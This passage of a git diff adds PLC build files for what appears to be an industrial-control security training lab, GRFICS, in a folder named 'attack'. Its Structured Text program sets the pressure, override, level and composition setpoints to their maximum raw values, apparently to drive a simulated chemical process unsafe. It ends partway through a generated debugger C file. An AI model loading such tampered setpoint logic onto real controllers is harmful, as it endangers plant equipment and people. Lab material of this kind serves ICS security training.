0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, 